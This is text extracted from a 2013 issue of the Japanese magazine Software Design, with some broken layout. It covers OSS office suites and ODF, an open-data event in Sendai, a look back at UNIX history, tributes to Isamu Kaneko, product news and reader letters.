島さんの楽しいトークのおかげで、有意義な研究会
となりました。講演資料および解説が次のURLにあ
りますので、参考にしてください。

 http://quindim.hatenablog.com/entry/2013/

06/23/200133

 ■互換製品と侮るなかれ！

  OSSオフィスソフトウェア普及振興の試み

 【日時】2013年7月6日（土） 15:15～16:00

 【会場】沖縄コンベンションセンター 会議場B1

  （B棟2F） B会場

 【講師】飯尾 淳（中央大学）

 【司会】法林 浩之（日本UNIXユーザ会）

　沖縄大会は中央大学の飯尾さん（写真1）を講師に
お迎えし、飯尾さんが携わっているODPG（日本
Open Source Offi  ce Suites & OpenDocument Format

利用推進グループ）の活動と知見の数々を紹介いただ
きました。参加者は11人でした。
　Microsoft Office 2003のサポートが2014年4月8

日で終了することに伴い、今後オフィスソフトウェ
アとして何を使うかが焦点になっています。将来的
にはクラウドを利用したオフィスソフトウェアの普
及が予想されますが、セキュリティやプライバシー
面での抵抗感など、いくつかの課題を抱えています。
そこで代替案として浮かび上がるのが、LibreOffice

やOpenOffi  ceなど互換ソフトウェアの利用です。

■気になる互換性、95％は問題なし

　これらのソフトウェアの互換性ですが、データは
OpenDocument Format（ODF）に準拠していれば異な
るソフトウェア間でも利用できます。Microsoft Offi  ce

もODF 1.2に対応予定です。Windows/Mac/UNIX間
での互換性については、デフォルトのフォントが異

なるので見た目が変わってしまう問題がありますが、
これに対してはIPAフォントをインストールして使
うのが有効です。また、LibreOfficeの最新版である
4.1では、サイドバーの設置、異体字対応など、新し
い機能も着々と実装されています。
　ODPGはOSSオフィスソフトウェアのノウハウ共
有と企業での利用推進、ODFの普及を目指して活動
しており、主な活動成果として、ODFのWebサイト
の翻訳や導入ガイドの作成があります。とくに
「OSSオフィスソフト操作性検証」という冊子では、
インプレスの「できるシリーズ」に載っている項目と
同じ作業ができるかどうかを検証しています。検証
結果を見ると95％ぐらいの項目は問題なく作業でき
るのですが、Microsoftが拡張した機能やマルチメ
ディア関連の機能を中心に、Microsoft Officeと同じ
作業ができない部分が存在します。いくつかの具体
例も紹介していただきました。ODPGは今後も活動
を続けていくので、とくに企業への導入を検討して
いる人はぜひ参加してほしいとのことです。
　Microsoft Officeとの互換性について具体例にまで
踏み込んで紹介してもらったことはあまりなく、実
用的な内容を多く含むとても良い発表でした。最後
にODPGのWebサイトとODFの日本語サイトを紹
介しておきます。ぜひご覧ください。｢

 ODPG：http://odpg.org/

 OpenDocument Format（日本語版）：

 　http://jp.opendocumentformat.org/

▲ 写真1　飯尾 淳氏

プロジェクト管理も事務処理もOSSで September
2013

沖縄大会

http://quindim.hatenablog.com/entry/2013/06/23/200133
http://odpg.org/
http://jp.opendocumentformat.org/
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Hack For Miyagi紹介

　Hack For Miyagiは今までの連載で紹介されてき
たHack For Japanの宮城県での活動となります。
Hack For Miyagiでは「被災地と直接つながってい
る」という立地上の利点を活かし、震災復興団体と
IT技術者がお互いに意見を出し合うミーティング
の開催をしています。Hack For MiyagiにはFace

bookのグループ注1もあり、ここで意見交換やイベ
ントの告知が行われています。
　今回は2013年2月22日に行った「オープンデー
タIDEA BOXブレスト in Sendai～Hack For 

Miyagi」注2（以下、オープンデータIDEA BOXブレ
スト）の模様について紹介していきます。

オープンデータ
　IDEA BOXとは

　本題に入る前にまず、オープンデータIDEA 

BOXとは何かを説明しておきましょう。これは内
閣官房、総務省、経済産業省による「オープンデー
タについての意見を国民から聞く」ためのWebサイ
ト注3です（図1）。このサイトを通じて「どのような
利用のアイディアがあるのか」、「どのようなデータ
公開を望むのか」、「公開や利用のルールはどうある
べきか」といった意見を誰でも投稿・投票でき、オー
プンデータ推進のために役立てられるという素晴ら
しい取り組みでした。2013年2月1日～28日の1ヵ

注1） http://www.facebook.com/groups/111524345612696/
注2） https://www.facebook.com/events/485960208117862/
注3） http://opendata.openlabs.go.jp/

月間運営され、現在ではユーザ登録は行えず閲覧の
み可能となっています。FacebookやTwitterなどの
Open IDでもログインでき、登録の煩雑さもなく気
軽に意見を書けるようになっていました。

開催のきっかけ

　オープンデータIDEA BOXブレストを開催する
きっかけとなったのは、2013年2月15日に開催され
た「Developers Summit 2013 Action!」（以降、デブ
サミ）のセッション「OpenDataとハッカソンで変わ
る世界」を聞いたことにはじまります。このセッ
ションの中で「オープンデータIDEA BOX」が紹介
されました。
　前述のように素晴らしい取り組みなのですが、残
念なことにデブサミ開催時点での意見登録数は70

に届くかどうか。この数字は少々寂しいところで
す。デブサミのテーマは「Action!」。いいと思った

Hack For Japan
エンジニアだからこそできる復興への一歩

オープンデータIDEA BOXブレスト
 in Sendaiの紹介

第21回
東日本大震災の復興支援に端を発し、社会的課題をテクノロジで解決するためのコミュニティ、
Hack For Japanの活動をレポートする本連載。今回は宮城県で行われたオープンデータに関
するイベントの模様を紹介します。

●Hack For Japanスタッフ
　小泉 勝志郎　Katsushiro Koizumi
　 Twitter  @koi_zoom1

 ◆図1　オープンデータIDEA BOX

http://www.facebook.com/groups/111524345612696/
https://www.facebook.com/events/485960208117862/
http://opendata.openlabs.go.jp/
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らまずやってみる。そこでこの「オープンデータ
IDEA BOX」に入れるアイディアを出すためのブレ
インストーミングを行うことを思いつきました。
　デブサミのセッション終了後、早速登壇者の皆さ
んのところに行き、「オープンデータIDEA BOXブ
レストをやります」という話をすると、「2013年2月
23日のInternational Open Data Dayの前にやって
もらえるとうれしい」とのこと。この流れでデブサ
ミから1週間しか間があかない2013年2月22日に
開催することになりました。

イベントの流れ

　ブレインストーミングがメインですが、アイディ
アを出すには前提知識があったほうがより良いもの
が生まれます。そのINPUTを作るために、イベン
トは次の流れで行いました。

 ●オープンデータについての説明
 ● IDEA BOXへの投稿を見る
 ●海外での事例を知る
 ●ブレインストーミング
 ●投稿！

オープンデータについての説明

　参加者にはオープンデータについて初めて触れる
人たちもいるので、オープンデータ系では定番と
なっているティム・バーナーズ＝リーのスピーチ注4

をみんなで視聴しながらの導入です。

IDEA BOXへの投稿を見る

　既存の投稿アイディアを見ることでそれに対する
意見も生まれますし、似たような事例が思い浮かぶ
こともあります。

海外での事例を知る

　オープンデータの成功事例は海外に多くありま
す。Open Knowledge Foundation Japanの東富彦氏

注4） http://www.ted.com/talks/lang/ja/tim_berners_lee_
the_year_open_data_went_worldwide.html

がまとめてくださっている、海外でのオープンデー
タ事例をいくつかピックアップしながら見て行きま
した注5。

ブレインストーミング

　こうして得たINPUTを元にブレインストーミン
グを行います。実はHack For Miyagiではもう1つ
大きなINPUTがありました。それは参加者のみな
さんの被災体験です。
　続いては当日の様子です。

当日の様子

　前述のように間がない中での開催でしたが、行政
からは市職員、メディアからは地元TV局、復興関
係からは某社復興室室長、そしてIT技術者と豪華
な面子でいろいろ裏話も聞けたおもしろいイベント
になりました。オープンデータには「データを提供
する側」「アプリやサービスを作る側」「アプリやサー
ビスを使う側」の3つの視点があります。今回のイ
ベントにはこの3つの視点がバランスよくそろった
うえ、TV局というメディアの視点も加わった興味
深い議論が繰り広げられました。
　裏話については残念ながら誌面では触れられませ
んが、当日上がった興味深い意見についていくつか
紹介いたします。

注目意見ピックアップ

 ●フランスの自転車ルート検索サイト同様の情報
を日本でも提供してほしい

　海外事例のINPUTから生まれたアイディアで
す。フランスの自転車ルート検索サイト「Geo

velo注6」では、自転車での走行ルートを安全性を重
視するか、距離の短さを重視するかで比重を変えて
検索できるようになっています（図2）。同様のこと
が日本でも行えれば、自転車利用者には非常に有用
でしょう。とくに坂道の情報は、現在の地図情報や

注5） https://docs.google.com/spreadsheet/ccc?key=0AvXTT
qI7i6p5dGx1MVQ4eG91VGZfZENmR0dxcWIzVkE#gid=0

注6） http://www.geovelo.fr/

http://www.ted.com/talks/lang/ja/tim_berners_lee_the_year_open_data_went_worldwide.html
http://www.geovelo.fr/
https://docs.google.com/spreadsheet/ccc?key=0AvXTTqI7i6p5dGx1MVQ4eG91VGZfZENmR0dxcWIzVkE#gid=0
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Hack For Japan
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カーナビで大きくフィーチャーされているわけでは
ありませんが、自転車では自動車以上に大きい価値
を持ちます。

 ●交通事故発生状況のマップ化
　過去から累積した交通事故発生状況を地図上に
マッピングできるようにしたい、という要望です。
時間軸を限定した閲覧をすることで、その時間帯で
の交通事故多発地帯を避けたナビゲーションもでき
ますし、あるときを境に事故が増えたり減ったりし
ていることがわかれば、その原因や事故対策効果が
可視化されることを期待しています。こういった情
報は転居を考える際の指標にもなるでしょう。

　この意見に対しては投稿後に、警視庁では東京で
の交通事故発生マップを公開しているという意見を
いただきました注7（図3）。この取り組みが全国的に
展開され、時系列も含めた可視化ができるとなお良
いと思われます。

データはJSON形式でも公開してほ
しい

　今回あがった中では「オープンデータを利用した
サービスを作る側」の意見です。
　オープンデータでは「XMLで提供」となることが
多いのですが、現在では多くのWeb APIがJSON

で提供されています。XMLと比較すると、利用する
側はデータをパースする処理の記述を大幅に軽減で
き、提供する側は送信データ量が減るというメリッ
トがあります。
　JSONでの提供が難しい場合は、公開されている
XMLを民間の業者がJSON化して再配布すること
を許可してもらえると、JSONで公開と同様の効果
を生めるでしょう。
　この意見についてはオープンデータIDEA BOX

内では否定意見もありました。否定的にあげられた
意見は次のようなものです。「JSONだと開発者向
け過ぎる」「すべてJSONにするのは大変なので、
CSVとして公開してほしい」「XMLをJSONにする
くらいのことは真っ当な開発者ならすぐにできるこ
と」。異なる視点からのフィードバックを受けるこ
とで、より意見もブラッシュアップされて行くと思
われます。

課題先進地としての東北

　東日本大震災は大きなダメージを残しました。し
かし、ここで発生した地域の過疎化、住民の高齢
化、産業の振興など、被災地で発生している課題は
いずれ他の地域でも発生しうる課題が多くありま
す。被災地である東北は日本、そして世界の課題に
真っ先に直面している「課題先進地」としての側面も
あるのです。

注7） http://www.keishicho.metro.tokyo.jp/toukei/jikomap/
jikomap.htm

 ◆図2　Geovelo

 ◆図3　交通事故発生マップ

http://www.keishicho.metro.tokyo.jp/toukei/jikomap/jikomap.htm
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フォーマットを利用した配信しやすいしくみにする
など、この災害対策本部ニュースで出している情報
はそのフォーマットのヒントになるのではないで
しょうか。

イベントを終えて

　当日のイベントであがった意見は次のURLにま
とまっていますのでぜひご覧ください（図5）。

 URL  http://opendata.openlabs.go.jp/ja/user/
     b5a73c7d-bb91-8166-967c-5126ef3b73d7/

　なんと、1週間未満という短期間で準備したワン
デイイベントが、オープンデータIDEA BOXにあ
げられた意見のおよそ1割を占めるという成果を出
すことができました。今回のイベントがきっかけと
なり、イベント参加者の方が主導したマップ系のイ
ベントが仙台でも行われました。仙台でのオープン
データの動きに多少なりとも貢献できたのではない
かと思います。

最後に

　Hack For Miyagiでは復興に携わっている方と
IT技術者が議論することで生まれる化学反応を生
み出したいと思っています。今後も定期的に開催し
ていきますので、よろしくお願いいたします。s

 ●観光のためのオープンデータ
　震災復興におけるキーワードに観光があります。
この観光を促進するオープンデータとして、たとえ
ば「地域ごとのイベント情報」があります。「イベン
トが行われるからそれとあわせて観光」という行動
は十分あるものです。この観光の呼び水となるイベ
ントデータは決して公開されていないわけではあり
ませんが、情報が分散しているのが現状です。すべ
てを集めるのは難しいですが、自治体が後援してい
るものはマシンリーダブルな形で提供するなど、観
光に携わる人がより利用しやすい形で取得できれば
より良いでしょう。

 ●被災時の自治体からの災害情報
　これは筆者自身の体験を含む意見です。東日本大
震災での被災当時、市役所に置かれていた災害対策
本部ニュースにかなり助けられました（図4）。

塩竈市災害対策本部ニュース

 URL  http://www.city.shiogama.miyagi.jp/
     seisaku/shinsai/news.html

　しかし、緊急時であることもあってかマシンリー
ダブルではなく、なおかつ印刷物のスキャンである
ため外部の人がこの情報にたどり着けていなかった
ようです。
　自治体が緊急時の災害情報を出しやすく、なおか
つマシンリーダブルに出力できるしくみがあると今
後の大災害でも力を発揮するでしょう。共通の

 ◆図4　塩竈市災害対策本部ニュース  ◆図5　 オープンデータIDEA BOXに投稿したイベントで
のアイディア

http://opendata.openlabs.go.jp/ja/user/b5a73cd-bb91-8166-967c-5126ef3b73d7/
http://www.city.shiogama.miyagi.jp/seisaku/shinsai/news.html
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はじめに

　今回は移植性という観点も含
めて、誕生から現在に至るまで
のUNIXの歴史を振り返ってみ
たいと思います。

UNIXの誕
生の頃

　1969年にAT&Tのベル研究
所でDECのPDP-7上で誕生し
たUNIXは、当初アセンブリ言
語で書かれていました。その後、
デニス・リッチーが開発したC
言語を使って1972年にPDP-
11上で全面的に書き直されたこ
とから、UNIXの移植性が飛躍
的に高まりました。
　AT&Tが独占禁止法によって
コンピュータ産業への進出を禁
止されていたため、UNIXは実
費程度でソースコード付きで広
く提供されました。それによっ
て多様なコンピュータへ移植が
進みました。またバグ修正をベ
ル研究所にフィードバックして
修正を取り込むオープンな文化
が養われていました。
　1979年に作られたVersion 7 

UNIXは、後に2つの大きな流れ
となったSystemV系とBSD系の

ベースとなりました。

System V
とBSD

　1980年代から1990年代初め
までの間、UNIXは大きく2つ
の系統がありました。本家
AT&TのSystem V系とカリ
フォルニア大学バークレイ校
（UDB）のBSD系です。
　この2つのUnixは別々に発
展したため、コマンドの存在有
無、システムコールの存在有無、
通信機能の実装の違いなどさま
ざまな相違点がありました。
　もっとも使用頻度の高い lsコ
マンドでも、デフォルトの挙動
が異なりました。lsコマンドを
実 行 し た 結 果 の 出 力 は、
SystemV系だと1行に1ファイ
ル、BSD系だとマルチカラム
（1行に複数）で複数ファイルを
表示します。SystemV系で
BSD系に合わせるにはCオプ
ション（大文字のシー）を付加す
る必要があり、逆にBSD系で
SystemV系に合わせるには1オ
プション（数字のイチ）を付加す
る必要がありました。
　関数で覚えているのは、メモリ
操作関数のmemcpy（SystemV
系）と bcopy（BSD系）で、この

2つの関数はコピー元とコピー
先の引数の順番が異なっていて、
当時は必死で覚えました（笑）。
　メインで使うシェルはBourne 
Shell系とC Shell系、バージョ
ン管理システムもSystemVで
はSCCS（Source Code Control 
System）、BSDではRCS（Revi 
sion Control System）と異なっ
ていました。
　このようにUNIXの2つの系
統では違うものが多く、異なる
2つを同時に使う必要があった
場合は、そのたびに頭と身体の
切り替えが必要となっていまし
た。自分がホームとする環境に、
異なる環境のほうをできる限り
合わせるようにしていました。

違いがわか
る書籍

　2つの系統のUNIXが主流で
あった1980年代後半から1990
年代前半にかけて、この系統の
違いについて理解が深まった書
籍があります。
　1986年発行の『UNIXツー
ル・ガイドブック』（坂本文著、
共立出版）は発行から27年経ち
ますがいまだに発売されている
超長寿の書籍で、著者の坂本文
氏もUNIX業界で著名だったこ

温故知新
ITむかしばなし

北山 貴広　KITAYAMA Takahiro　Twitter：@kitayama_t　kitayamat@gmail.com

UNIX回想

第25回
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ともありバイブル的な存在だっ
た と 思 い ま す。付 録 に
SystemV、4.2BSD全コマンド
一覧と全システムコール／関数
一覧が掲載され、名前と説明と、
どちらでサポートしているかの
丸印が付いていてとても役に立
ちました。
　1990年発行の『ポータブルC
プログラミング：移植性を考え
たプログラミング技法（写真1）』
（M.Rホートン著、長尾高広訳）
はC言語プログラミングを移植
性という観点でまとめた書籍で
す。前半はC言語仕様や処理系
依存事項など種々のトピックの
解説、後半はCヘッダファイル、
Cライブラリ関数、システム
コールやユーザコマンドを1つ
1つ紹介し、それぞれがCコン
パイラやOSでどの程度広くサ
ポートされているかを5段階の
星印で評価しており、この星印
の数の多いものを選択すること
で移植性の高いプログラムを目
指すことができました。

UNIX戦争

　1987年 に AT&Tは BSD系
OSのトップであったSunと共同
で SystemV Release 4（SVR4）
の開発で合意しました。ほかの
ベンダはSunが有利になること
を恐れて、Open Software Foun 
dation（OSF）という別の団体を
1998年に立ち上げました。
AT&TとSunもOSFに対抗し
て同じ年にUNIX International
（UI）という団体を立ち上げまし
た。この2つの団体の間でOS
やユーザインターフェースを

別々に開発してリリースした
競争を「UNIX戦争」と呼びま
した。
　SVR4はそれまでのSystemV
系とBSD系の系統を合流させ
たバージョンで、後に成功をお
さめました。
　筆者はBSD系列であるSun 
OS 4を使っていましたが、
SVR4のSolaris2になったとき
にコンパイラや開発ツールが別
売りになりました。UNIXは開
発者のためのOSではなく、ア
プリケーション実行用のプラッ
トフォームになったものだと感
じました。

現在の
UNIX

　現在UNIXの商標（trademark）
はThe Open Groupが所有して
います。あるOSが“UNIX”と名
乗るためには、Single UNIX 
Specifi cation（SUS）と呼ばれ
るオペレーティングシステムの
標準規格を完全に満たす認証を
受ける必要があります。SUSは
ANSI Cや ISO C、POSIXや
XPGなど過去のUNIXに関す
るさまざまな標準化規格がまと
まった集大成となっています。
　SUSの最新版であるVersion 
4（The Single UNIX Specifi 
cation, Version 4）はThe Open 
GroupのWebサイト注1でユー
ザ登録をすれば閲覧／ダウン
ロードできます。
　OSが規格に準拠しているこ
とを示すブランド（Open Brand）
のSUS Version 3準拠のUNIX 

注1） http://www.unix.org/version4/

03、SUS Version 2準拠のUNIX 
98に認定されたOSの一覧が参
照できます注2。長年続いている
HP-UX、Solaris、AIXに加え
て、新しいところではMac OS 
X、懐かしいところではTru64
や IRIXやUnixWareと知って
いたけど目新しいz/OSが見つ
かります。

終わりに

　今回、UNIXの歴史について
あらためて振り返ってみて、混
沌たる状態から、整理と統一化
の動き、団体の乱立と主導権の
争い、最終的に現在のSUSに
落ちついたのを知り、歴史の流
れを感じました。
　広く使われているオープン
ソースのLinuxや *BSD系は、
公式にはUNIXと呼ぶことはで
きませんが、*BSDの祖先は4.4 
BSDLiteであったり、使い方や
文化としてはUNIXが配布され
ていたころと戻ったともいえま
す。この文化は今後も続いてほ
しいし、続くと思っています。｢

注2） http: / /www.opengroup.org/
openbrand/register/

 ▼写真1　 

温故知新 ITむかしばなし
UNIX回想

第25回

http://www.opengroup.org/openbrand/register/
http://www.unix.org/version4/


この個所は、雑誌発行時には記事が掲載されていました。編集の都合上、
総集編では収録致しません。



この個所は、雑誌発行時には記事が掲載されていました。編集の都合上、
総集編では収録致しません。



180 - Software Design

SD News & Products

　金子さんはWinnyの作者としてあまりにも有名な方
ですが、私にとっての金子さんはWinnyの作者という
存在よりも、かの大騒動のご苦労を乗り越えてゆかれ
る過程で金子さんが設立された株式会社Skeed（旧ド
リームボート社）とのビジネスを通しての関係性のほう
が強い存在でした。
　意外なつながりに思う方もいらっしゃるかもしれま
せんが、私達スクウェア・エニックスが手がけている
最新鋭ゲーム総合開発環境「Luminous Studio」と金子
さんとの縁は深く、Luminous Studioのアセット管理
サーバ部分のほかに類を見ない高速性とスケーラビリ
ティは、金子さんの設立されたSkeed社と共同開発し
た「Skeed Object Store（SOS）」というP2P高速デー
タストレージシステムをバックボーンに適用すること
によって実現しています。
　金子さんはもともとビデオゲームに応用できるリア
ルタイム系の技術制作が大好きな方でもありまして、
Winnyを作られる前はゲーム業界のカンファレンス
CEDECでご講演もされていたくらい「ゲーム制作技術
への熱」というのは強い方でした。『Software Design』 
2013年4月号の企画で金子さんとSkeed社技術責任
者の柳澤さん、私とLuminous Studioのアセット管理
サーバ開発担当者の4人の座談会もさせていただきまし
たが、その合間の雑談時に、ゲーム制作環境の中で金
子さんが作った会社のP2P技術が活用され、そのこと
についてゲーム会社のオフィスで金子さんが対談して
いるという事柄に対して、金子さんご自身がとても感
慨深く噛み締めるようにうれしそうにしみじみと語っ
てらっしゃるご様子だったこと、未来への協業の熱意
を語ってらっしゃっていたことがとても印象深く記憶

に残っています。金子さんはゲームに対して本当に特
別な想いをお持ちであることがわかり、当時うれしく
思いましたことが良い思い出です。
　金子さんはとてもシャイな方である一方で、一度お話
を始めると実に饒舌にユーモア溢れるお話を熱く語ら
れる方であり、非常に楽しい時間を過ごさせていだける
素敵な方でした。年度のご挨拶も兼ねて近々Skeedの
方々や金子さんとのお食事もあらためてできれば……
と考えていた矢先の訃報で、金子さんの愉快なお話が
二度と聞けなくなってしまったのが実に残念です。
　金子さんの思想や遺伝子を受け継ぐSkeed社および
そのSOSシステムとともにLuminous Studioが力強く
成長、飛躍、発展して、すばらしいゲーム作品群を高
効率に生み出して行く様を、金子さんには天国から見
守っていただけたらと思います。それが私達にできる
弔いと考えております。
　日本が生んだ稀代の天才プログラマ金子 勇さんのご
冥福を心よりお祈りいたします。

2013年7月27日
株式会社スクウェア・エニックス

CTO　橋本 善久

　金子勇さんと直接お会いできたのは、2012年の
Skeed社とデータホテル社との次世代クラウドインフ
ラ事業提携の記者発表会でした。そこで発表されたの
は、SkeedSilverBulletでした。普通のTCPに比べて
数十倍の速度を達成する新しい通信プロトコル技術だ
というものです。この高速転送ソフトウェアを販売し
ていくことで、Skeed社のほかの技術も広めていくと
いう発表でした。SkeedSilverBulletについて金子さん
に質問すると、はにかみながら高度なプロトコルの秘
密のほんの一端を教えてくださりました。しばらくし
てスクウェア・エニックス社様との協業プロジェクト
を取材することになり、本誌2013年4月号「スクウェ
ア・エニックス＋Skeedゲーム開発の舞台裏」でまた
お会いすることができました。座談会のテープ起こし
をしていると、例によってはにかみながら小声でさらっ
と重要な技術の話をされるので、どきっとしたことが
思い出されます。金子さんは、そこにいらっしゃるだ
けで、周囲に新しいアイデアを惹き起こす良い空気を
作り出す方でした。IT業界に大きな足跡を残された金
子さんに心よりご冥福をお祈りいたします。

株式会社技術評論社
Software Design編集長　池本 公平

追悼　金子 勇
ゲーム開発環境と金子さんTopic

▲金子勇 氏　（本誌2013年４月号 「SQUARE ENIX + Skeed Presents 
ゲーム開発の舞台裏座談会」より）
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フルーク・ネットワークス、
トラブルシューティング用テスター
「OneTouch AT2ネットワーク・アシスタント」を発売

Hardware

　米フルーク・ネットワークスの日本法人、㈱TFFフ
ルーク社は、トラブルシューティング用ネットワーク
テスターの新製品「OneTouch AT2ネットワーク・ア
シスタント（以下、OneTouch AT2）」を7月23日か
ら提供開始した。
　OneTouch AT2は、有線、無線Wi-Fi、光ファイバー
のケーブル試験からネットワーク全体のパフォーマン
ステストまで、すべてを1台でカバーできるオールイ
ンワンタイプのトラブルシューティングツール「One
Touch ATシリーズ」の新製品。スマホ感覚で扱える
ワンタッチ操作のオートテストを1回行うだけで、ク

ライアントからクラウドまでネットワークパフォーマ
ンスを迅速に把握でき、従来のトラブルシューティン
グ時間の大幅な削減が可能となった。とくに今回は、
BYODにも対応し、スマートデバイス管理が簡単にで
きるようにした。さらに、IP電話などの普及により問
題点が指摘されるVoIPについても、「インラインVoIP
解析機能」が追加され、IP電話問題のトラブルシュー
ティングが容易に行える。価格は78万円～（税別）。

フルーク・ネットワークス
URL  www.flukenetworks.com/jp

CONTACT

アカマイ、
Webエクスペリエンス最適化ソリューション「Aqua Ion」
の最新リリースを発表

Solution

　アカマイ・テクノロジーズ合同会社は、Webエクス
ペリエンスを最適化するサービス「Aqua Ion」に新たな
機能が加わったことを発表した。
　同サービスは、ユーザの状況に応じてWebコンテン
ツに適切な最適化を実施し、Webサイトのパフォーマ
ンスを向上させるソリューション。具体的には、FEO
（Front End Optimization）によるリクエスト数／送信バ
イト数の削減やレンダリングの速度向上、AIC（Adaptive 
Image Compression）によるネットワーク状況に応じ
た画像サイズの変更などの最適化が行われる。
　このサービスに次のような新機能が追加された。

 ¡リアル・ユーザ・モニタリング（RUM）によるユー
ザの各種デバイス、ネットワークパフォーマンスな
どの情報の提供
 ¡DNSの事前フェッチング、プレイスホルダー画像な
どの技術によるパフォーマンス機能の強化
 ¡SHUTR（HTTP要求ヘッダのサイズを縮小する
HTTPプロトコル拡張）のサポートによるモバイルパ
フォーマンスの強化

アカマイ・テクノロジーズ合同会社
URL  www.akamai.co.jp

CONTACT

ぷらっとホーム、
スマートデバイスにも対応したPacketiX VPN 4.0の
アプライアンス製品を発売

Hardware

　ぷらっとホームは7月25日、インターネットが閲覧
可能であればどんな環境でも簡単にVPNを確立できる
PacketiX VPN 4.0のアプライアンス「EasyBlocks 
PacketiX VPNアプライアンス」を発売した。
　PacketiX VPNは、SSL-VPNのネットワーク透過
性とIPsec-VPNの柔軟性をあわせ持つ新しいVPN技
術。4.0では各種スマートデバイスからの接続受付が可
能になったほか、接続性や通信速度の向上およびセキュ
リティ機能やインストーラの強化が行われた。
　同アプライアンスの製品ラインナップとしては、
30クライアント同時接続での利用を想定したOpen

Blocks AX3採用の「小規模向け-Standard Edition」、
100クライアント同時接続での利用を想定した1U
ハーフサイズの小型筐体の「中規模向け-Professional 
Edition」、300クライアント同時接続での利用を想
定した1Uサーバモデルの「大規模向け-Enterprise 
Edition」がある。価格はいずれもオープン。
　同社では、これらの製品の発売を記念して、9月30
日まで特価キャンペーンを実施している。

ぷらっとホーム㈱
URL  http://www.plathome.co.jp

CONTACT

http://www.akamai.co.jp
http://www.flukenetworks.com/jp
http://www.plathome.co.jp
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第1特集
ここからはじめるデータ分析学習

　ビッグデータとともに注目されている
データ分析。そのデータ分析をはじめる
ために必要な知識や参考書籍を紹介。さ
らにExcel、R、Mahoutなどのツールを
使って、実際のデータ分析の方法を解説
しました。

第3章「機械学習を学習するための手引
き」がわかりやすかった。

愛知県／鳥居さん

Excelがやはり馴染んでいるのでわかり
やすい。

福岡県／田代さん

最近、「ビックデータや統計といった言葉
をよく耳にするな」と思っていたところ、
ちょうど特集が組まれたので、興味深く
読ませていただきました。「R言語や統
計学についての連載記事があるといい
のに」と思うのですが、どうでしょうか？

宮崎県／maehrmさん

数年前からビックデータが話題になって
いますが、今回の特集はデータ処理の
参考になりました。URL、参考文献が親
切でしたので、勉強になります。

富山県／QKobさん

担当は本特集を通じて、「データ分
析や機械学習を活用できるように

なるには、まずは統計学から始める必要
がある」と感じました。今のうちからコツ
コツ学んでおきたいものですね。

第2特集
「ベンチマーク」活用テクニック
　PCやサーバの実力を測る手段として、
さまざまなベンチマークテストがありま
す。どんな項目を、どんな手法で、どん
なツールで測定すればいいのか。そのノ
ウハウを解説しました。

サーバについてより深く取り上げてほし
い。ぜひ来月以降も継続してほしい。

東京都／blackbirdさん

ベンチマークについてはあまり意識する
ことはなかった。個々の要素についてベ
ンチをとることはしたことがなかったの
で参考になった。

北海道／村橋さん

最近、仮想サーバと物理サーバをまと
めてシステムを構成するケースが増えて
います。環境構築のためのサイジング
の際に行うベンチマークテストの最新の
手法や実施例などを特集していただける
とありがたいです。

東京都／さつきますさん

サーバのベンチマークテストにつ
いて、さらなる情報を知りたいと

いう声が多かったです。実務で必要とさ
れているものなのでしょう。今後の企画
の参考にさせていただきます。

短期連載　小規模プロジェクト現
場から学ぶJenkins活用

　プログラマ1人とデザイナ数人という
小規模プロジェクトで、プログラマ（ひい
てはプロジェクト全体）の作業効率化を図
ろうとJenkinsを導入。その事例を紹介
する短期連載の第1回をお届けしました。

企業におけるユースケースがあれば、
なお良い。

大阪府／hidelocalさん

Jenkinsは大規模プロジェクトのための
アプリケーションだと認識していたので、
今回の事例に驚くとともに参考になりま
した。個人的にはプログラマ以外の方と
連携して作業を進めることも重要だと考
えているので連載に期待しています。

大阪府／出玉のタマさん

プログラマ以外の人たちも巻き込
んで自動化に取り組んだというと

ころが、評価できますね。今後、デザイ
ナと共同作業する場面は増えそうですか
ら、ほかの現場でも参考になりそうです。

7月号でお届けしたデータ分析特集はいかがでしたか？　SDの読者アンケート結
果も、ぜひ一度、高度なデータ分析にかけてみたいものです。意外なニーズが
掘り起こせるかも。そのために、アンケート回答にご協力を！　コメント採用者に
はQuoカードをお送りしています。読者プレゼント応募のついでに、感想もぜ
ひ記入してくださいね。URLはhttp://sd.gihyo.jp/です。

読者アンケートをデータ分析したい読者アンケートをデータ分析したい

2013年7月号について、たくさんのお便りありがとうございました！

http://sd.gihyo.jp/
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連載

ARMの評価基板がとても安くなってき
ており、個人レベルでいろいろな開発が
できそうです。7月号の「はんだづけカ
フェなう」のようなワクワクするMakers

情報をまたお願いします。
奈良県／Makersを見るのが好きさん

8月号の第1特集は、「はんだづけ
カフェなう」の著者である坪井義浩

さんも執筆されている3Dプリンタの記
事でしたが、いかがだったでしょうか？

今回の「セキュリティ実践の基本定石」の
ようなまとめの記事は非常に参考になり
ます。そのうえで、月刊誌『I/O』でやっ
ているような、セキュリティが破られた
実例／ニュース速報、およびその解説

戚に思えるなあ。
愛知県／匿名希望さん

これは8月号で紹介したorbiTouch

に関するコメントでしょうか。キー
がないのにキーボードと呼んでいいのか、
不思議な入力デバイスでしたね。

フリートーク

初めて買ったが意外とおもしろかった。
次回からも買ってみようと思う。

愛知県／ccmmさん

ありがとうございます！　最近、定
期購読の申し込みも増えているよ

うです。これに感謝しつつ、編集部一同
これからもおもしろく、かつ有用な情報
をお届けしていきます。

を毎月やっていただけると助かります。
東京都／宮田さん

最近また、個人情報漏えいや不正
侵入などのセキュリティに絡む事

件が増えていますね。本連載では、高度
化したセキュリティの技術や課題につい
て、できるだけわかりやすく解説していき
ます。提案いただいた内容についても、
今後の参考にさせていただきます。

（「偏愛キーボード図鑑」で取り上げられ
ていたキーボードについて）まだこの類
のキーボードがあるんですね。昔の『ア
スキー』か何かの投稿で、グリップで握
る感じのキーボード（？）を見た気がしま
す。親指のキーで入力する文字の段を
切り替えるものだったと記憶しています。
今にして思うと、ゲーミングマウスの親

7月号のプレゼント当選者は、次の皆さまです
①メカニカルキーボード OWL-KB109M(B)IIR  .............................熊本県　佐伯　俊様
②コリャ英和！一発翻訳 2014 for Win  ...........................................東京都　東陽一郎様

★その他のプレゼントの当選
者の発表は、発送をもって
代えさせていただきます。
ご了承ください。

　この時期、冷房は必須です。しかし、オフィスなど複数人が作
業する場では、人や座席の位置によって寒すぎたり暑すぎたりと、
エアコンの温度調節だけで各人に最適な温度を保つのは難しいも
の。そんなときに役立つのが、エアコンの送風口に取り付けて風
向きを調整する「エアーウィング・プロ」。編集部のエアコンは4方
向に送風口が付いたタイプですので、同製品を4つ入手し、写真
のように取り付けました。暑がりの人には風が当たるように、寒が
りの人には直接風があたらないようにと、送風口ごとに調整が可能
になりました。また、冷たい空気をうまく部屋全体に拡散している
ようで、気候や体調によって
エアコンの温度設定を変える
必要がなくなりました。いつ
でも快適な温度です。結露
